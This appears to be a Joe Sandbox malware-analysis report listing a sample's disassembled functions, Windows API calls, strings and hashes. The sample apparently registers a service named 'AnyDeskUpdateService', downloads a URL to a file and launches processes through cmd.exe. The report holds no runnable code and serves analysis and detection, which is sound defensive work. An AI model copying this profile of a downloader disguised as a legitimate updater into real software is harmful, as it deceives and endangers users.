0r!r, xrefs: 00007FF6C7852F92
&x>x, xrefs: 00007FF6C78529C5
Nr<r, xrefs: 00007FF6C7852F7E
3x9x, xrefs: 00007FF6C78529ED
20240913, xrefs: 00007FF6C7852EB4
enfn, xrefs: 00007FF6C785409F
pH}wM, xrefs: 00007FF6C7856B1F
AnyDeskUpdateService, xrefs: 00007FF6C785730A
NYOY, xrefs: 00007FF6C7853B8F
-x?x, xrefs: 00007FF6C78529F7
t, xrefs: 00007FF6C78550FE
jnhn, xrefs: 00007FF6C7854086
H}wM, xrefs: 00007FF6C78551FD
Qx$x, xrefs: 00007FF6C785296A
w, xrefs: 00007FF6C785510D
wnmn, xrefs: 00007FF6C785407C
:xyx, xrefs: 00007FF6C785293B
sncn, xrefs: 00007FF6C7854072
.x5x, xrefs: 00007FF6C7852974
4x<x, xrefs: 00007FF6C7852992
M, xrefs: 00007FF6C7855116
jxWx, xrefs: 00007FF6C7852960
)nln, xrefs: 00007FF6C7854095
}wM, xrefs: 00007FF6C785525E
h1w{, xrefs: 00007FF6C785290C
:r>r, xrefs: 00007FF6C7852F88
,x'x, xrefs: 00007FF6C785299C
xx~x, xrefs: 00007FF6C78529AB
$x'x, xrefs: 00007FF6C78529D9
ux(x, xrefs: 00007FF6C7852A06
GY!Y, xrefs: 00007FF6C7853B3F
}Y>Y, xrefs: 00007FF6C7853B35

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: File$Internet$Attributesstd::_$CloseHandleLockit$ErrorEventLast$ExecuteLockit::_Lockit::~_OpenReadRegisterShellSource_invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskCreateCtrlCurrentDeregisterDispatcherFacet_MoveObjectProcessReportServiceSingleStartWaitWritelstrcmpi
String ID: $x'x$%x*x$&x>x$)nln$,x'x$-x?x$.x5x$0r!r$20240913$3x9x$4x<x$5x=x$:r>r$:xyx$AnyDeskUpdateService$GY!Y$H}wM$M$NYOY$Nr<r$Qx$x$enfn$h1w{$jnhn$jxWx$pH}wM$sncn$t$ux(x$vzv$$w$wnmn$xx~x$}Y>Y$}wM
API String ID: 2772502545-4267904903
Opcode ID: 2efd94f85aca355810c0006856c6f39897300c774bbc6c3a7deb07320c0a45ca
Instruction ID: 6b88355e053e5ed74370372fb01d7f7c5a93b031e65d560ed3ca4f562b990eea
Opcode Fuzzy Hash: 2efd94f85aca355810c0006856c6f39897300c774bbc6c3a7deb07320c0a45ca
Instruction Fuzzy Hash: D5935D1552A6D299E730AF71D8103FA3A61FF68B4AF404036D38DCBAA9EF3D9641C705

Function 00007FF6C788AD68 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6C788A94C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C788A98D
Part of subcall function 00007FF6C788A94C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C788AA0B
Part of subcall function 00007FF6C788A94C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C788AA5C

CreateFileW.KERNEL32 ref: 00007FF6C788AE6E
CreateFileW.KERNEL32 ref: 00007FF6C788AEBE
GetLastError.KERNEL32 ref: 00007FF6C788AEEE
GetFileType.KERNEL32 ref: 00007FF6C788AF03
GetLastError.KERNEL32 ref: 00007FF6C788AF0D
CloseHandle.KERNEL32 ref: 00007FF6C788AF40
CloseHandle.KERNEL32 ref: 00007FF6C788B0A3
CreateFileW.KERNEL32 ref: 00007FF6C788B0D8
GetLastError.KERNEL32 ref: 00007FF6C788B0E7

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 1b731941ab77a7d7e1ee044a851ff69ec3e8d83a8cd4698c13b8954ec901e107
Instruction ID: ca9865fb52dacb9599552919ab04e3b4c151828284931eaba2f2939d17222c8e
Opcode Fuzzy Hash: 1b731941ab77a7d7e1ee044a851ff69ec3e8d83a8cd4698c13b8954ec901e107
Instruction Fuzzy Hash: 26C1B136B29A4285EB50CFA5C4906AC3B61FB89BA9F015236DBAE973D4DF3CD451C300

Function 00007FF6C785CDF0 Relevance: 10.6, APIs: 7, Instructions: 90
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF6C785CE27
InternetOpenUrlW.WININET ref: 00007FF6C785CE49
CreateFileW.KERNEL32 ref: 00007FF6C785CE75
InternetReadFile.WININET ref: 00007FF6C785CE91
WriteFile.KERNEL32 ref: 00007FF6C785CECA
InternetReadFile.WININET ref: 00007FF6C785CEE3
CloseHandle.KERNEL32 ref: 00007FF6C785CEF0

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: FileInternet$OpenRead$CloseCreateHandleWrite
String ID:
API String ID: 1744991900-0
Opcode ID: 362309099b881e5bbaf2cceeef3ea73f52e033be54d2f21a1e01227d0a0bf40a
Instruction ID: 8f40045829700a8253c8b93f97be265542ad41cd9199a139517c9970d130df08
Opcode Fuzzy Hash: 362309099b881e5bbaf2cceeef3ea73f52e033be54d2f21a1e01227d0a0bf40a
Instruction Fuzzy Hash: BA316E22A1968286EB608F61F81476ABB60FB89BC9F445135EF8D87B44DF3DD1058B04

Function 00007FF6C787E95C Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C787E999

Part of subcall function 00007FF6C7879A04: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7879A29

Part of subcall function 00007FF6C78898D4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C78898FC

Part of subcall function 00007FF6C787B1D8: HeapFree.KERNEL32 ref: 00007FF6C787B1EE
Part of subcall function 00007FF6C787B1D8: GetLastError.KERNEL32 ref: 00007FF6C787B1F8

Part of subcall function 00007FF6C787EBAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C787EBEA

Strings

.com, xrefs: 00007FF6C787EB27

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ErrorFreeHeapLast
String ID: .com
API String ID: 3231943733-4200470757
Opcode ID: 08bbada558672f0a580943a46073b5b52b7eede114a9b68a0c0310e25873d46a
Instruction ID: 79f5eb0091ce5b264caf1e8f5650dd99e2ad875987caccffdbbb0137c2e470de
Opcode Fuzzy Hash: 08bbada558672f0a580943a46073b5b52b7eede114a9b68a0c0310e25873d46a
Instruction Fuzzy Hash: DE51B321B0B64345FA54AF2298512BA6F89AF54BD2F084635FF9FC77D2ED3CE4018220

Function 00007FF6C7873510 Relevance: 2.6, Strings: 2, Instructions: 92COMMON

Download Yara Rule

Strings

cmd.exe, xrefs: 00007FF6C78735FD
COMSPEC, xrefs: 00007FF6C7873533

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID: COMSPEC$cmd.exe
API String ID: 485612231-2256226045
Opcode ID: efe5d603d0a0f45e0f73f16ca7cd868f13a5f76262dd37f7923b94b1df907e1b
Instruction ID: 10d2643cdf8e60597de4958f4262bb4ecb966abc16fde0ddd6be3c500b260db2
Opcode Fuzzy Hash: efe5d603d0a0f45e0f73f16ca7cd868f13a5f76262dd37f7923b94b1df907e1b
Instruction Fuzzy Hash: 0A318D32F0AA4284FB10DFA194815BD3BA2AF88755B454535EF9ED7A96CE38E541C310

Function 00007FF6C787EBAC Relevance: 16.7, APIs: 11, Instructions: 163
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C787EBEA
WaitForSingleObject.KERNEL32 ref: 00007FF6C787ED12
GetExitCodeProcess.KERNEL32 ref: 00007FF6C787ED20
CloseHandle.KERNEL32 ref: 00007FF6C787ED36
CloseHandle.KERNEL32 ref: 00007FF6C787ED44
GetLastError.KERNEL32 ref: 00007FF6C787ED52
CloseHandle.KERNEL32 ref: 00007FF6C787ED67
CloseHandle.KERNEL32 ref: 00007FF6C787ED79
CloseHandle.KERNEL32 ref: 00007FF6C787ED92
CloseHandle.KERNEL32 ref: 00007FF6C787EDA0
CloseHandle.KERNEL32 ref: 00007FF6C787EDB6

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CloseHandle$CodeErrorExitLastObjectProcessSingleWait_invalid_parameter_noinfo
String ID:
API String ID: 2936579111-0
Opcode ID: ed5618520dbe9dbe1534286bed05f644b6f1a12cd40f6c73cd46b7563356a971
Instruction ID: c5de495cd401725e9d56151da53d26c483af704fd7e54cec3548a05ac0f57513
Opcode Fuzzy Hash: ed5618520dbe9dbe1534286bed05f644b6f1a12cd40f6c73cd46b7563356a971
Instruction Fuzzy Hash: 98619122F0AB0686FB10DF61D4442BC2FA6AB45BA5F050531EF9F97B98CE38E415C350

Function 00007FF6C78585F0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterEventSourceW.ADVAPI32 ref: 00007FF6C785861B
GetLastError.KERNEL32 ref: 00007FF6C7858629
ReportEventW.ADVAPI32 ref: 00007FF6C7858694
DeregisterEventSource.ADVAPI32 ref: 00007FF6C785869D

Strings

%s failed with %d, xrefs: 00007FF6C7858632
AnyDeskUpdateService, xrefs: 00007FF6C785864E
AnyDeskUpdateService, xrefs: 00007FF6C7858612

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Event$Source$DeregisterErrorLastRegisterReport
String ID: %s failed with %d$AnyDeskUpdateService$AnyDeskUpdateService
API String ID: 544316925-1586499718
Opcode ID: 3d5dde09e4f0c9a8635dc3b2002a576137b068c398dccda7d93cadec4662d94b
Instruction ID: 2c419c78e71541d92e221fa5c9a0bc2d7e85ebdf32d0e2beb77b3116b55a086a
Opcode Fuzzy Hash: 3d5dde09e4f0c9a8635dc3b2002a576137b068c398dccda7d93cadec4662d94b
Instruction Fuzzy Hash: FE112E32609B8286EBA48F11F8513AAB7A0FB98785F400135EBCE83B54DF7DD158CB00

Function 00007FF6C787C85C Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32 ref: 00007FF6C787C978
GetLastError.KERNEL32 ref: 00007FF6C787CA03

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a7b1067b1fbc3cd28f896cbb9bbc6e4726eaea15fe06cbf518c3a376f57051cb
Instruction ID: cb936ad9a98cf083be12c3e5a9323292f125f50131eaf8f3f53b5b71e5ee6c00
Opcode Fuzzy Hash: a7b1067b1fbc3cd28f896cbb9bbc6e4726eaea15fe06cbf518c3a376f57051cb
Instruction Fuzzy Hash: C991D462F1A65285F750CF6694802BD6FA8BB04B9AF554139EF8FA7684DF38D482C700

Function 00007FF6C786D344 Relevance: 4.5, APIs: 3, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6C786D355
TerminateProcess.KERNEL32 ref: 00007FF6C786D360
ExitProcess.KERNEL32 ref: 00007FF6C786D36F

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5bc98c1c2021317396186fcc3284e49ba9d5ca290e9d263b723d4fd8b173a28a
Instruction ID: c9e188e1dddd914bceea72ac7f33dfff9fd645cadb72de7efb8c74a6bc5eaf9a
Opcode Fuzzy Hash: 5bc98c1c2021317396186fcc3284e49ba9d5ca290e9d263b723d4fd8b173a28a
Instruction Fuzzy Hash: 57D09E10F2A70792EE586FB0699707C1A116F58757F00183CCB9FC6393EE2EA5098250

Function 00007FF6C7867B1C Relevance: 3.1, APIs: 2, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6C7867CF0: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6C7867D04

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6C7867B45
__scrt_release_startup_lock.LIBCMT ref: 00007FF6C7867BB3

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 1236291503-0
Opcode ID: bf8581e221747b1aa519da3a3fdda917876ed7866bab429396813271f759fd36
Instruction ID: 346d47d21567ee11df87f0d676df2140ee70ba585488f5e2caf9cb3a77abe49e
Opcode Fuzzy Hash: bf8581e221747b1aa519da3a3fdda917876ed7866bab429396813271f759fd36
Instruction Fuzzy Hash: F8419F21E2F10362FE00AF35A4523B91A91AF55796F444035EBCEC73D7DE2DAA44C391

Function 00007FF6C787C314 Relevance: 3.1, APIs: 2, Instructions: 74
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 00007FF6C787C3C7
GetLastError.KERNEL32 ref: 00007FF6C787C3E3

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: b053ca310af3e7b3e959bd461da812ca189cf57c899e4e5267733b9c995ffed1
Instruction ID: 04d3c76d6ab6fffd2dc8b0dc01f4d06d2ce03a7a1ff00426a05d5c281a3810c8
Opcode Fuzzy Hash: b053ca310af3e7b3e959bd461da812ca189cf57c899e4e5267733b9c995ffed1
Instruction Fuzzy Hash: 1831E132B1AB819ADB509F25E8802A97BA4FB58785F854032EF8EC3754DF3CD516CB00

Function 00007FF6C787AFD4 Relevance: 3.1, APIs: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF6C787B04D
GetFileType.KERNEL32 ref: 00007FF6C787B063

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 5e57838b2dce20432395441fed3a29f839eb20010de2f3c076eaf79001dc18ea
Instruction ID: 5d506c672a4c669cc9739aa27a683594f983ccce9878fe32f9e82ec2fc4419ac
Opcode Fuzzy Hash: 5e57838b2dce20432395441fed3a29f839eb20010de2f3c076eaf79001dc18ea
Instruction Fuzzy Hash: BE314121A19B4681D7608F2485905796E51FB45BB6F640339EBFF873E0CF39E4A1D341

Function 00007FF6C7867A30 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF6C7867A47
_RTC_Initialize.LIBCMT ref: 00007FF6C7867A68

Part of subcall function 00007FF6C7877114: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7877146

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: 0b4fd6439aa5f74e8bd80266028e772a311ec34cef78dfd92916b01d919c9ec4
Instruction ID: 6c90cdf1eb3e723f2dd80aa3810c80eb7c34e82bd46163374984e4aa4bafb769
Opcode Fuzzy Hash: 0b4fd6439aa5f74e8bd80266028e772a311ec34cef78dfd92916b01d919c9ec4
Instruction Fuzzy Hash: 7011D051E2F103A5FA947FB298162FD1DA14F50343F800430E7CEC62C3EE2CBA8146A2

Function 00007FF6C788447C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00007FF6C7884490
FreeEnvironmentStringsW.KERNEL32 ref: 00007FF6C78844FA

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 0569d1ce216643eab5a4f3de0e57884fb0549fe14321f9cc615d00747ef2c50b
Instruction ID: ab8548da86cf6ce796ff99fc2ba2fa4b2d80b06af35a6ec71dee67199d6fe7e7
Opcode Fuzzy Hash: 0569d1ce216643eab5a4f3de0e57884fb0549fe14321f9cc615d00747ef2c50b
Instruction Fuzzy Hash: 7101C812F0B75281EA209F1574100296B60EF54FE1F5C4235DFEE537CADE6CE4428340

Function 00007FF6C787CD38 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF6C787CDA6
GetLastError.KERNEL32 ref: 00007FF6C787CDB0

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 90f3701c9648459cb02c6a100222a657127510a50ce0718e7ba9b00f7c694d7d
Instruction ID: ee7b2eeb089b5b864adae189946ef55c09126606c23b4ed3feb2298231836f48
Opcode Fuzzy Hash: 90f3701c9648459cb02c6a100222a657127510a50ce0718e7ba9b00f7c694d7d
Instruction Fuzzy Hash: 2821A111F0E68241FF909F61A49427D1ED5AF85BA6F494235EBAFC73D5DE6CA4408300

Function 00007FF6C7889D9C Relevance: 1.7, APIs: 1, Instructions: 181processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF6C7889FF7

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 66c358961b55405a7c2c8e21c583bcf1218276d2d0741f30b0a745b2ca595dfc
Instruction ID: 4b23c002a3218172db4174593b6a53be96ea36f36faa04f36c2aea544d04ad7a
